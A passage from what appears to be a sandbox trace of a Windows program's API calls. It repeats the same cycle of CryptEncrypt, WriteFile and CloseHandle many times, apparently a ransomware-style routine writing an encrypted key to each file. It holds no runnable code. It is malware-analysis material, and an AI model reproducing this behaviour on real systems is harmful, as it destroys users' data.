pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.652] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.652] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.652] CloseHandle (hObject=0x2aec) returned 1 [0226.655] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.655] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.655] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.655] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.656] CloseHandle (hObject=0x2aec) returned 1 [0226.669] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.669] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.670] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.670] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.670] CloseHandle (hObject=0x2aec) returned 1 [0226.673] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.673] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.673] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.673] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.674] CloseHandle (hObject=0x2aec) returned 1 [0226.685] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.685] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.686] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.686] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.686] CloseHandle (hObject=0x2aec) returned 1 [0226.689] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.689] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.689] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.689] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.690] CloseHandle (hObject=0x2aec) returned 1 [0226.692] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.692] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.693] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.693] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.693] CloseHandle (hObject=0x2aec) returned 1 [0226.696] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.696] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.696] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.696] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.696] CloseHandle (hObject=0x2aec) returned 1 [0226.718] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.718] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.718] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.719] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.719] CloseHandle (hObject=0x2aec) returned 1 [0226.722] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.722] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.722] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.722] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.723] CloseHandle (hObject=0x2aec) returned 1 [0226.725] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.725] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.725] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.726] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.726] CloseHandle (hObject=0x2aec) returned 1 [0226.730] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.730] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.731] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.731] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.731] CloseHandle (hObject=0x2aec) returned 1 [0226.734] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.734] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.734] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.734] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2608*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2608*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.734] CloseHandle (hObject=0x2aec) returned 1 [0226.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.738] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.738] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.739] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.739] CloseHandle (hObject=0x2aec) returned 1 [0226.751] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.751] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.751] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.752] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.752] CloseHandle (hObject=0x2aec) returned 1 [0226.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.760] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e6f8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e6f8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.760] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e6f8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e6f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.760] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.761] CloseHandle (hObject=0x2aec) returned 1 [0226.803] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.805] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.811] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.817] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.849] CloseHandle (hObject=0x2aec) returned 1 [0226.852] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.852] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.853] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.853] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.853] CloseHandle (hObject=0x2aec) returned 1 [0226.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.860] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.860] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.860] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2618*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2618*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.860] CloseHandle (hObject=0x2aec) returned 1 [0226.865] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.865] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.865] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.865] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.866] CloseHandle (hObject=0x2aec) returned 1 [0226.869] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.869] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.869] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.870] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.870] CloseHandle (hObject=0x2aec) returned 1 [0226.874] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.874] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.874] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.874] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.875] CloseHandle (hObject=0x2aec) returned 1 [0226.878] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.878] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.878] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.878] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.878] CloseHandle (hObject=0x2aec) returned 1 [0226.881] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.881] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.881] WriteFile (in: hFile=0x2aec, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0226.881] WriteFile (in: hFile=0x2aec, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0226.881] CloseHandle (hObject=0x2aec) returned 1 [0226.891] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0226.891] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0226.891] WriteFile (in: hFile=0x2aec, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: 